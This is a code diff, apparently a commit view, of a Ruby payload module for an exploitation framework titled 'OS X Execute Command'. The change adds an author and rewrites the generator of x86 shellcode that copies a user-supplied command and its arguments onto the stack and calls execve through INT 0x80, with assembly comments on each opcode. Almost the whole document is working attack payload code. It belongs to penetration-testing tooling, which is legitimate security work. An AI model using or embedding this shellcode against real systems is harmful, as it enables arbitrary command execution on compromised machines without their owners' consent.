@@ -26,7 +26,9 @@ def initialize(info = {})
26
26
super ( merge_info ( info ,
27
27
'Name' => 'OS X Execute Command' ,
28
28
'Description' => 'Execute an arbitrary command' ,
29
- 'Author' => [ 'snagg <snagg[at]openssl.it>' , 'argp <argp[at]census-labs.com>' ] ,
29
+ 'Author' => [ 'snagg <snagg[at]openssl.it>' ,
30
+ 'argp <argp[at]census-labs.com>' ,
31
+ 'joev <jvennix[at]rapid7.com>' ] ,
30
32
'License' => BSD_LICENSE ,
31
33
'Platform' => 'osx' ,
32
34
'Arch' => ARCH_X86 ) )
@@ -35,22 +37,62 @@ def initialize(info = {})
35
37
register_options (
36
38
[
37
39
OptString . new ( 'CMD' , [ true , "The command string to execute" ] ) ,
38
- ] , self . class )
40
+ ] , self . class
41
+ )
39
42
end
40
43
41
44
#
42
45
# Dynamically builds the exec payload based on the user's options.
43
46
#
44
47
def generate_stage
45
- cmd = datastore [ 'CMD' ] || ''
46
- len = cmd . length + 1
47
- payload =
48
- "\x31 \xc0 \x50 " +
49
- Rex ::Arch ::X86 . call ( len ) + cmd +
50
- "\x00 \x5e \x89 \xe7 \xb9 " + Rex ::Arch ::X86 . pack_word ( len ) +
51
- "\x00 \x00 \xfc \xf2 \xa4 \x89 \xe3 \x50 " +
52
- "\x50 \x53 \xb0 \x3b \x50 \xcd \x80 "
48
+ cmd_str = datastore [ 'CMD' ] || ''
53
49
54
- end
50
+ # Split the cmd string into arg chunks
51
+ cmd_parts = cmd_str . split ( /[\s ]+/ )
52
+ arg_str = cmd_parts . map { |a | "#{ a } \x00 " } . join
53
+ arg_len = arg_str . length
54
+
55
+ # Stuff an array of arg strings into memory, then copy them all on to the stack
56
+ payload = ''
57
+ payload << "\x31 \xc0 " # XOR EAX, EAX (eax => 0)
58
+ payload << "\x50 " # PUSH EAX
59
+ payload << Rex ::Arch ::X86 . call ( arg_len ) # JMPs over CMD_STR, stores &CMD_STR on stack
60
+ payload << arg_str
61
+ payload << "\x5e " # POP ESI (ESI = &CMD)
62
+ payload << "\x89 \xe7 " # MOV EDI, ESP
63
+ payload << "\xb9 " # MOV ECX ...
64
+ payload << [ arg_len ] . pack ( 'V' )
65
+ payload << "\xfc " # CLD
66
+ payload << "\xf2 \xa4 " # REPNE MOVSB (copies string on to stack)
67
+ payload << "\x89 \xe3 " # MOV EBX, ESP (puts ref to copied str in EBX)
68
+
69
+ # now EBX contains &cmd_parts[0], the exe path (after it has been copied to the stack)
70
+ if cmd_parts . length > 1
71
+ # Build an array of pointers to the arguments we copied on to the stack
72
+ payload << "\x89 \xD9 " # MOV ECX, EBX
73
+ payload << "\x50 " # PUSH EAX; null byte (end of array)
74
+ payload << "\x89 \xe2 " # MOV EDX, ESP (EDX points to the end-of-array null byte)
75
+ cmd_parts [ 1 ..-1 ] . each_with_index do |arg , idx |
76
+ # can probably save space here by doing the loop in ASM
77
+ # for each arg, push its current memory location on to the stack
78
+ payload << "\x81 \xC1 " # ADD ECX, + len of previous arg
79
+ payload << [ cmd_parts [ idx ] . length +1 ] . pack ( 'V' ) # (cmd_parts[idx] is the prev arg)
80
+ payload << "\x51 " # PUSH ECX (&cmd_parts[idx])
81
+ end
82
+ payload << "\x53 " # PUSH EBX (&cmd_parts[0])
83
+ payload << "\x89 \xe1 " # MOV ECX, ESP (ptr to ptr to first str)
84
+ payload << "\x52 " # PUSH EDX
85
+ payload << "\x51 " # PUSH ECX
86
+ else
87
+ # pass NULL args array to execve() call
88
+ payload << "\x50 \x50 " # PUSH EAX, PUSH EAX
89
+ end
55
90
91
+ payload << "\x53 " # PUSH EBX
92
+ payload << "\xb0 \x3b " # MOV AL, 0x3B (execve)
93
+ payload << "\x50 " # PUSH EAX
94
+ payload << "\xcd \x80 " # INT 0x80 (triggers execve syscall)
95
+
96
+ payload
97
+ end
56
98
end
0 commit comments